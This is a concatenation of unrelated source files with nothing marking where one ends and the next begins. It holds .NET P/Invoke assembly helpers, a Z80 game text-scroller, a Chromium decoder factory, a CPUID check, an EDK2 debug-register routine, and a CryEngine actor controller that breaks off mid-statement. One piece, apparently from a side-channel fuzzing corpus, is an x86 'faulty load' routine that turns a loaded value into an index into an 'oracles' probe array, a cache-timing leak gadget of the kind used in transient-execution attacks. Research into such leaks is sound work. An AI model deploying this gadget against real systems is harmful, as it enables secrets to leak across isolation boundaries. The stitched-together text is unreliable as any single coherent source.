;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; RhpReversePInvokeAttachOrTrapThread ;; ;; ;; INCOMING: RAX -- address of reverse pinvoke frame ;; ;; PRESERVES: RCX, RDX, R8, R9 -- need to preserve these because the caller assumes they aren't trashed ;; ;; TRASHES: RAX, R10, R11 ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; NESTED_ENTRY RhpReversePInvokeAttachOrTrapThread, _TEXT alloc_stack 88h ; alloc scratch area and frame ; save the integer arg regs save_reg_postrsp rcx, (20h + 0*8) save_reg_postrsp rdx, (20h + 1*8) save_reg_postrsp r8, (20h + 2*8) save_reg_postrsp r9, (20h + 3*8) ; save the FP arg regs save_xmm128_postrsp xmm0, (20h + 4*8 + 0*10h) save_xmm128_postrsp xmm1, (20h + 4*8 + 1*10h) save_xmm128_postrsp xmm2, (20h + 4*8 + 2*10h) save_xmm128_postrsp xmm3, (20h + 4*8 + 3*10h) END_PROLOGUE mov rcx, rax ; rcx <- reverse pinvoke frame call RhpReversePInvokeAttachOrTrapThread2 movdqa xmm0, [rsp + (20h + 4*8 + 0*10h)] movdqa xmm1, [rsp + (20h + 4*8 + 1*10h)] movdqa xmm2, [rsp + (20h + 4*8 + 2*10h)] movdqa xmm3, [rsp + (20h + 4*8 + 3*10h)] mov rcx, [rsp + (20h + 0*8)] mov rdx, [rsp + (20h + 1*8)] mov r8, [rsp + (20h + 2*8)] mov r9, [rsp + (20h + 3*8)] ;; epilog add rsp, 88h ret NESTED_END RhpReversePInvokeAttachOrTrapThread, _TEXT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; RhpPInvoke ;; ;; IN: RCX: address of pinvoke frame ;; ;; TRASHES: R10, R11 ;; ;; This helper assumes that its callsite is as good to start the stackwalk as the actual PInvoke callsite. ;; The codegenerator must treat the callsite of this helper as GC triggering and generate the GC info for it. ;; Also, the codegenerator must ensure that there are no live GC references in callee saved registers. ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; LEAF_ENTRY RhpPInvoke, _TEXT ;; R10 = GetThread(), TRASHES R11 INLINE_GETTHREAD r10, r11 mov r11, [rsp] ; r11 <- return address mov qword ptr [rcx + OFFSETOF__PInvokeTransitionFrame__m_pThread], r10 mov qword ptr [rcx + OFFSETOF__PInvokeTransitionFrame__m_FramePointer], rbp mov qword ptr [rcx + OFFSETOF__PInvokeTransitionFrame__m_RIP], r11 lea r11, [rsp + 8] ; r11 <- caller SP mov dword ptr [rcx + OFFSETOF__PInvokeTransitionFrame__m_Flags], PTFF_SAVE_RSP mov qword ptr [rcx + OFFSETOF__PInvokeTransitionFrame__m_PreservedRegs], r11 mov qword ptr [r10 + OFFSETOF__Thread__m_pTransitionFrame], rcx cmp [RhpTrapThreads], TrapThreadsFlags_None jne @F ; forward branch - predicted not taken ret @@: jmp RhpWaitForSuspend LEAF_END RhpPInvoke, _TEXT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; ;; RhpPInvokeReturn ;; ;; IN: RCX: address of pinvoke frame ;; ;; TRASHES: RCX, RDX, R8, R9, R10, R11 ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; LEAF_ENTRY RhpPInvokeReturn, _TEXT mov rdx, [rcx + OFFSETOF__PInvokeTransitionFrame__m_pThread] mov qword ptr [rdx + OFFSETOF__Thread__m_pTransitionFrame], 0 cmp [RhpTrapThreads], TrapThreadsFlags_None jne @F ; forward branch - predicted not taken ret @@: ; passing transition frame pointer in rcx jmp RhpWaitForGC LEAF_END RhpPInvokeReturn, _TEXT END
21 50 C0 7E 23 86 32 52 C0 76
extern rand extern font public _scroll public _scrollInit public _scrollReset section CODE_2 defc xPos=0x07 ; Start column of message defc Y=0x01 ; Start character row of message defc WIDTH=0x12 ; Width, in columns, of message area defc MESSAGE_ATTR=PAPER_BLACK|INK_WHITE|BRIGHT ; Attribute for the message #include "defs.inc" defc MAX_MESSAGE=(messagesEnd-messages)/2 ; ; Inputs: ; _scrollInit: push af push bc push de push hl ; ; Initialize the screen address to top right corner ; ; Calculate the screen address ld a, Y ; Y character position rrca ; Move lower 3 bits to the upper 3 bits rrca rrca and %11100000 ; Bits 5-3 of pixel row or xPos+WIDTH-1 ; X character position ld l, a ld a, Y ; Y character position and %00011000 ; Bits 7-6 of pixel row or 0x40 ; 0x40 or 0xc0 ld h, a ld (screenAddr), hl ; Save this screen address for use by the scroll routine ; ; Clear the message area on the screen ; xor a ; Zero accumulator ld c, 8 ; Height of character clearRow: ld de, hl ; Store the screen address ld b, WIDTH ; Width of scrolling window clearCol: ld (hl), a ; Store 0 to the screen dec hl ; Next character to the left djnz clearCol ; Loop for the width of the message ld hl, de ; Restore screen address inc h ; Increment to next row dec c jr nz, clearRow call _scrollReset pop hl pop de pop bc pop af ret _scrollReset: push af push bc push de push hl call rand ld a, l and %00000111 mod MAX_MESSAGE ax SIZEOF_ptr ld hl, messages addhl a ld c, (hl) inc hl ld b, (hl) ; ; Reset the message pointer ; ld (messageStart), bc ld (messagePointer), bc ; ; Initialize the rotate counter ; It will be updated by the scroll routine ; ld a, 0x80 ld (rotate), a ; ; Set the screen attributes for the message ; ld de, SCREEN_ATTR_START ; Get the start of the screen attributes ld hl, Y ; Get the Y position and multiply by 32 hlx 32 add hl, de ; Add it to the attr start address ld a, xPos add l ld l, a ld de, hl inc de ld (hl), MESSAGE_ATTR ld bc, WIDTH-1 ldir pop hl pop de pop bc pop af ret _scroll: ; Check if we need to get the next character of the message ld hl, rotate rlc (hl) jp c, getNextChar shift: ld hl, (screenAddr) ; Screen address of right hand side of message calculated by scrollInit ld de, charBuffer ld c, l ; save l which is the screen X starting offset ld b, 8 ; Height of character rowLoop: ld a, (de) ; Get buffer data rla ; Rotate it left through the carry flag ld (de), a ; Store buffer data inc de ; Next buffer address ; The carry flag contains the data we will shift ; into the next character on the screen colLoop: REPT WIDTH rl (hl) ; Rotate left the contents of hl through the carry flag dec l ; Next character to the left ENDR ld l, c ; Restore low order byte of screen address inc h ; +0x100 To increment to next row djnz rowLoop ret getNextChar: ; Page-in the font bank ld a, font>>16 ld bc, IO_BANK out (c), a ; Need to get the next character from the message ld hl, (messagePointer) ; Get the message pointer ld a, (hl) ; Read the character and a ; Check if the end of the message has been reached jp z, resetMessagePointer ; Reset pointer if we reach the end of the message cp 0xff jp z, doPadding inc hl ; Otherwise increment the message pointer ld (messagePointer), hl ; and save it sub 0x20 ; Font starts at ASCII 32 ; ; Copy 8 bytes of font data corresponding to the ; character from the ROM font to our character buffer. ; This allows us to rotate and save the character ; without corrupting the actual font. ; ld l, a ; Get the font character index ld h, 0 ; and multiply it by 8 hlx 8 ld de, font ; Pointer to the font add hl, de ; hl points to the font data address ld de, charBuffer ; Point to our character buffer address REPT 8 ldi ENDR ; Page-in bank 0 ld bc, IO_BANK out (c), 0 jp shift doPadding: ld hl, padding ld (messagePointer), hl jp getNextChar ; Loop to get a character resetMessagePointer: ld hl, (messageStart) ld (messagePointer), hl jp getNextChar ; Loop to get a character section RODATA_2 messages: dw message0, message1, message2, message3, message4, message5, message6 messagesEnd: section RODATA_4 message0: db "Escape the castle...", 0xff message1: db "Hurry...", 0xff message2: db "Collect the coins for points...", 0xff message3: db "Purple eggs give you wiiings...", 0xff message4: db "Prolong your life with hearts XOXO...", 0xff message5: db "Don't fall too far!", 0xff message6: db "I am constant as the northern star...", 0xff padding: ds 0x10, 0x20 db 0x00 section BSS_2 messagePointer: ds 2 ; Pointer to the current location in the message messageStart: ds 2 ; Pointer to the start of the message screenAddr: ds 2 ; Pointer to the top right-hand location on the screen charBuffer: ds 8 ; Buffer to store font data while we are rotating it rotate: ds 1 ; Counter so we know when to get the next character from the message
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r15 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xb0f4, %r8 nop nop nop nop xor %rsi, %rsi movb $0x61, (%r8) sub %r9, %r9 lea addresses_normal_ht+0x150f4, %rax nop nop nop and $40724, %r11 mov (%rax), %r15 nop and %r9, %r9 lea addresses_WT_ht+0xcdf4, %rbx clflush (%rbx) nop nop nop nop nop dec %r9 mov $0x6162636465666768, %r11 movq %r11, (%rbx) xor $26795, %r11 lea addresses_D_ht+0x9a4, %rsi clflush (%rsi) sub $51492, %r8 mov (%rsi), %r15 xor $48193, %r11 lea addresses_WT_ht+0xf0f4, %r8 nop nop nop nop nop xor %r9, %r9 vmovups (%r8), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %r15 nop nop nop xor %rsi, %rsi lea addresses_UC_ht+0x1a916, %rsi lea addresses_A_ht+0xb412, %rdi clflush (%rsi) lfence mov $28, %rcx rep movsb xor $8036, %r9 lea addresses_UC_ht+0x4b34, %r9 nop nop nop nop nop xor %rax, %rax vmovups (%r9), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $0, %xmm2, %r8 nop nop dec %rsi lea addresses_normal_ht+0xb4f4, %rbx nop sub %rcx, %rcx mov $0x6162636465666768, %r15 movq %r15, %xmm6 vmovups %ymm6, (%rbx) nop nop and %r9, %r9 lea addresses_UC_ht+0xf8f4, %rsi nop nop nop xor $872, %rax movb (%rsi), %cl nop nop nop add %rsi, %rsi lea addresses_WC_ht+0x3b34, %rsi nop nop and $49977, %rdi movups (%rsi), %xmm6 vpextrq $0, %xmm6, %r8 nop cmp %rax, %rax lea addresses_UC_ht+0x62f4, %rdi nop nop nop dec %r8 movups (%rdi), %xmm7 vpextrq $0, %xmm7, %r11 nop xor $14219, %rdi lea addresses_normal_ht+0xed64, %rsi lea addresses_A_ht+0x195f4, %rdi nop nop sub %r8, %r8 mov $43, %rcx rep movsw nop nop nop nop nop cmp $20361, %rax lea addresses_D_ht+0x1bbf4, %r11 and $17193, %r15 mov (%r11), %ebx nop nop and %r15, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rdx // Store lea addresses_PSE+0x1192c, %rdi nop nop nop nop sub %rcx, %rcx mov $0x5152535455565758, %rdx movq %rdx, (%rdi) cmp $9286, %rdi // Store mov $0x3bca8f00000007c6, %rcx nop xor $34124, %r15 movl $0x51525354, (%rcx) nop nop nop nop nop add %rcx, %rcx // Store lea addresses_UC+0x3cf4, %r15 nop nop nop nop cmp %r12, %r12 mov $0x5152535455565758, %r13 movq %r13, (%r15) nop nop nop nop add %r9, %r9 // Store mov $0x23f2290000000e0c, %rcx nop nop cmp $36434, %r9 mov $0x5152535455565758, %r12 movq %r12, %xmm1 vmovups %ymm1, (%rcx) nop nop nop nop nop cmp %r15, %r15 // Store mov $0xe04, %rdi nop nop nop nop nop and %r9, %r9 movw $0x5152, (%rdi) nop inc %rdi // Faulty Load lea addresses_UC+0x140f4, %rdi cmp $9258, %r13 mov (%rdi), %rcx lea oracles, %r12 and $0xff, %rcx shlq $12, %rcx mov (%r12,%rcx,1), %rcx pop %rdx pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_UC'}} {'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_NC'}} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 8, 'NT': False, 'type': 'addresses_UC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': True, 'size': 8, 'NT': True, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal_ht'}} {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "content/renderer/media/rtc_video_decoder_factory.h" #include <memory> #include "content/renderer/media/rtc_video_decoder.h" #include "media/renderers/gpu_video_accelerator_factories.h" namespace content { RTCVideoDecoderFactory::RTCVideoDecoderFactory( media::GpuVideoAcceleratorFactories* gpu_factories) : gpu_factories_(gpu_factories) { DVLOG(2) << __FUNCTION__; } RTCVideoDecoderFactory::~RTCVideoDecoderFactory() { DVLOG(2) << __FUNCTION__; } webrtc::VideoDecoder* RTCVideoDecoderFactory::CreateVideoDecoder( webrtc::VideoCodecType type) { DVLOG(2) << __FUNCTION__; return RTCVideoDecoder::Create(type, gpu_factories_).release(); } void RTCVideoDecoderFactory::DestroyVideoDecoder( webrtc::VideoDecoder* decoder) { DVLOG(2) << __FUNCTION__; RTCVideoDecoder::Destroy(decoder, gpu_factories_); } } // namespace content
include uXmx86asm.inc option casemap:none ifndef __X64__ .686P .xmm .model flat, c else .X64P .xmm option win64:11 option stackbase:rsp endif option frame:auto .code align 16 uXm_has_SSE3_AES proto VECCALL (byte) align 16 uXm_has_SSE3_AES proc VECCALL (byte) mov eax, 1 cpuid and ecx, bit_SSE3_AES cmp ecx, bit_SSE3_AES ; SSE3 AES support by microprocessor .if EQUAL? mov al, true .else mov al, false .endif ret uXm_has_SSE3_AES endp end ;.code
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2022, Intel Corporation. All rights reserved.<BR> ; SPDX-License-Identifier: BSD-2-Clause-Patent ; ; Module Name: ; ; WriteDr5.Asm ; ; Abstract: ; ; AsmWriteDr5 function ; ; Notes: ; ;------------------------------------------------------------------------------ DEFAULT REL SECTION .text ;------------------------------------------------------------------------------ ; UINTN ; EFIAPI ; AsmWriteDr5 ( ; IN UINTN Value ; ); ;------------------------------------------------------------------------------ global ASM_PFX(AsmWriteDr5) ASM_PFX(AsmWriteDr5): ; ; There's no obvious reason to access this register, since it's aliased to ; DR7 when DE=0 or an exception generated when DE=1 ; mov dr5, rcx mov rax, rcx ret
#include <StdAfx.h> #include "ActorControllerComponent.h" #include <CryCore/StaticInstanceList.h> #include "CrySchematyc/Env/Elements/EnvComponent.h" #include "CrySchematyc/Env/IEnvRegistrar.h" #include "Components/Player/PlayerComponent.h" namespace Chrysalis { // Definition of the state machine that controls actor movement. DEFINE_STATE_MACHINE(CActorControllerComponent, Movement); static void RegisterActorControllerComponent(Schematyc::IEnvRegistrar& registrar) { Schematyc::CEnvRegistrationScope scope = registrar.Scope(IEntity::GetEntityScopeGUID()); { Schematyc::CEnvRegistrationScope componentScope = scope.Register(SCHEMATYC_MAKE_ENV_COMPONENT(CActorControllerComponent)); // Functions { } } } void CActorControllerComponent::ReflectType(Schematyc::CTypeDesc<CActorControllerComponent>& desc) { desc.SetGUID(CActorControllerComponent::IID()); desc.SetEditorCategory("Actors"); desc.SetLabel("Actor Controller"); desc.SetDescription("Actor controller."); desc.SetIcon("icons:ObjectTypes/light.ico"); desc.SetComponentFlags({IEntityComponent::EFlags::Singleton}); // Mark the actor component as a hard requirement. desc.AddComponentInteraction(SEntityComponentRequirements::EType::HardDependency, CActorComponent::IID()); // Mark the advanced animation component as a hard requirement. //desc.AddComponentInteraction(SEntityComponentRequirements::EType::HardDependency, "{3CD5DDC5-EE15-437F-A997-79C2391537FE}"_cry_guid); } void CActorControllerComponent::Initialize() { // Mesh and animation. m_pActorAnimationComponent = m_pEntity->GetOrCreateComponent<CActorAnimationComponent>(); // Character movement controller. m_pCharacterControllerComponent = m_pEntity->GetOrCreateComponent<Cry::DefaultComponents::CCharacterControllerComponent>(); // We need to know which actor component we are paired with. The actor controller class is pretty worthless without this. m_pActorComponent = m_pEntity->GetOrCreateComponent<CActorComponent>(); CRY_ASSERT_MESSAGE(m_pActorComponent, "The actor controller component must be paired with an actor component."); // Initialise the movement state machine. MovementHSMInit(); // Get it into a known state. OnResetState(); } void CActorControllerComponent::ProcessEvent(const SEntityEvent& event) { switch (event.event) { // Physicalize on level start for Launcher case EEntityEvent::LevelStarted: // Editor specific, physicalize on reset, property change or transform change case EEntityEvent::Reset: case EEntityEvent::EditorPropertyChanged: case EEntityEvent::TransformChangeFinishedInEditor: OnResetState(); break; case EEntityEvent::Update: { SEntityUpdateContext* pCtx = (SEntityUpdateContext*)event.nParam[0]; Update(pCtx); } break; case EEntityEvent::PrePhysicsUpdate: PrePhysicsUpdate(); break; } } void CActorControllerComponent::Update(SEntityUpdateContext* pCtx) { const float frameTime = pCtx->fFrameTime; UpdateMovementRequest(frameTime); UpdateLookDirectionRequest(frameTime); UpdateAnimation(frameTime); // Update the movement state machine. MovementHSMUpdate(*pCtx); } void CActorControllerComponent::PrePhysicsUpdate() { // TODO: HACK: BROKEN: This stuff was commented out in the character pre-physics. Some of it might belong here now. // // The routine will need to be rewritten to work with actors only, or we need a new one that does the actor, that // // is called by a character version of this. // CActorStateUtility::UpdatePhysicsState(*this, m_actorPhysics, frameTime); // //#ifdef STATE_DEBUG // // if (g_pGameCVars->pl_watchPlayerState >= (bIsClient ? 1 : 2)) // // { // // // NOTE: outputting this info here is 'was happened last frame' not 'what was decided this frame' as it occurs before the prePhysicsEvent is dispatched // // // also IsOnGround and IsInAir can possibly both be false e.g. - if you're swimming // // // May be able to remove this log now the new HSM debugging is in if it offers the same/improved functionality // // CryWatch("%s stance=%s flyMode=%d %s %s%s%s%s", GetEntity()->GetEntityTextDescription(), GetStanceName(GetStance()), m_actorState.flyMode, IsOnGround() ? "ON-GROUND" : "IN-AIR", IsViewFirstPerson() ? "FIRST-PERSON" : "THIRD-PERSON", IsDead() ? "DEAD" : "ALIVE", m_actorState.isScoped ? " SCOPED" : "", m_actorState.isInBlendRagdoll ? " FALLNPLAY" : ""); // // } // //#endif // // Push the pre-physics event down to our state machine. // const SActorPrePhysicsData prePhysicsData(frameTime); // const SStateEventActorMovementPrePhysics prePhysicsEvent(&prePhysicsData); // StateMachineHandleEventMovement(STATE_DEBUG_APPEND_EVENT(prePhysicsEvent)); // // Bring the animation state of the character into line with it's requested state. // UpdateAnimationState(); } void CActorControllerComponent::OnResetState() { OnRevive(); } // *** // *** Hierarchical State Machine Support // *** void CActorControllerComponent::SelectMovementHierarchy() { // Force the state machine in the proper hierarchy //if (IsAIControlled ()) //{ // CRY_ASSERT (!IsPlayer ()); // StateMachineHandleEventMovement (ACTOR_EVENT_ENTRY_AI); //} //else //{ // StateMachineHandleEventMovement (ACTOR_EVENT_ENTRY_PLAYER); //} // #HACK: set it to always be player for now. // #TODO: NEED THIS!!! StateMachineHandleEventMovement(ACTOR_EVENT_ENTRY); } void CActorControllerComponent::MovementHSMRelease() { StateMachineReleaseMovement(); } void CActorControllerComponent::OnRevive() { // Reset the various state members. m_lookTarget.zero(); m_aimTarget.zero(); m_useLookTarget = false; m_useLookIK = true; m_useAimIK = true; // Reset the HSM for character movement. MovementHSMReset(); // Select which HSM to use for our character's movement. This relies on it's AI status being // correctly set first. SelectMovementHierarchy(); } void CActorControllerComponent::MovementHSMInit() { StateMachineInitMovement(); } void CActorControllerComponent::MovementHSMSerialize(TSerialize ser) { StateMachineSerializeMovement(SStateEventSerialize(ser)); } void CActorControllerComponent::MovementHSMUpdate(SEntityUpdateContext& ctx) { //#ifdef STATE_DEBUG // const bool shouldDebug = (s_StateMachineDebugEntityID == GetEntityId ()); //#else // const bool shouldDebug = false; //#endif const bool shouldDebug = false; //const bool shouldDebug = true; StateMachineUpdateMovement(ctx.fFrameTime, shouldDebug); // Pass the update into the movement state machine. StateMachineHandleEventMovement(SStateEventUpdate(ctx.fFrameTime)); } void CActorControllerComponent::MovementHSMReset() { StateMachineResetMovement(); } const bool CActorControllerComponent::IsPlayer() const { return m_pActorComponent->IsPlayer(); } const bool CActorControllerComponent::IsClient() const { return m_pActorComponent->IsClient(); } const Vec3 CActorControllerComponent::GetLocalEyePos() const { return m_pActorComponent->GetLocalEyePos(); } const float CActorControllerComponent::GetLowerBodyRotation(TInputFlags movementDirectionFlags) const { float relativeDirection; // Take the mask and turn it into an angular rotation delta which represents which // direction the body is turned when moving in a given direction. switch (movementDirectionFlags) { case (TInputFlags)EInputFlag::Forward: relativeDirection = 0.0f; break; case ((TInputFlags)EInputFlag::Forward | (TInputFlags)EInputFlag::Right): relativeDirection = -45.0f; break; case (TInputFlags)EInputFlag::Right: //relativeDirection = -90.0f; relativeDirection = -45.0f; break; case ((TInputFlags)EInputFlag::Backward | (TInputFlags)EInputFlag::Right): relativeDirection = 45.0f; //relativeDirection = 0.0f; break; case (TInputFlags)EInputFlag::Backward: //relativeDirection = 180.0f; relativeDirection = 0.0f; break; case ((TInputFlags)EInputFlag::Backward | (TInputFlags)EInputFlag::Left): relativeDirection = -45.0f; //relativeDirection = 0.0f; break; case (TInputFlags)EInputFlag::Left: //relativeDirection = 90.0f; relativeDirection = 45.0f; break; case ((TInputFlags)EInputFlag::Forward | (TInputFlags)EInputFlag::Left): relativeDirection = 45.0f; break; default: relativeDirection = 0.0f; break; } return relativeDirection; } void CActorControllerComponent::UpdateMovementRequest(float frameTime) { // Default is for them to not request movement. m_movementRequest = ZERO; // Don't handle input if we are in air. if (!m_pCharacterControllerComponent->IsOnGround()) { m_movingDuration = 0.0f; return; } // If there's a player controlling us, we can query them for inputs and camera and apply that to our movement. if (auto* pPlayer = m_pActorComponent->GetPlayer()) { /** The request needs to take into account both the direction of the camera and the direction of the movement i.e. left is alway left relative to the camera. TODO: What will it take to make this use AddVelocity instead? The values don't seem to match with what I'd expect to input to it. **/ auto* pPlayerInput = pPlayer->GetPlayerInput(); float moveSpeed = GetMovementBaseSpeed(pPlayerInput->GetMovementDirectionFlags()); if ((moveSpeed > FLT_EPSILON) && (pPlayerInput->IsMovementRequested())) { m_movingDuration += frameTime; m_movementRequest = pPlayerInput->GetMovement(pPlayer->GetCamera()->GetRotation()) * moveSpeed; SetVelocity(m_movementRequest); } else { // I'm forcing the velocity to zero if we're not actively controlling the character. This naive // approach is probably wrong, but it works for now. SetVelocity(ZERO); } } } void CActorControllerComponent::UpdateLookDirectionRequest(float frameTime) { // The angular velocity maximum (Full rotations / second). const float angularVelocityMax = g_PI2 * 1.5f; // The catchup speed (Full rotations / second). const float catchupSpeed = g_PI2 * 1.2f; // If there's a player controlling us, we can query them for inputs and camera and apply that to our rotation. if (auto* pPlayer = m_pActorComponent->GetPlayer()) { auto* pPlayerInput = pPlayer->GetPlayerInput(); // Only allow the character to rotate in first person, and third person if they are moving. if ((pPlayer->IsViewFirstPerson()) || (!pPlayer->IsViewFirstPerson() && 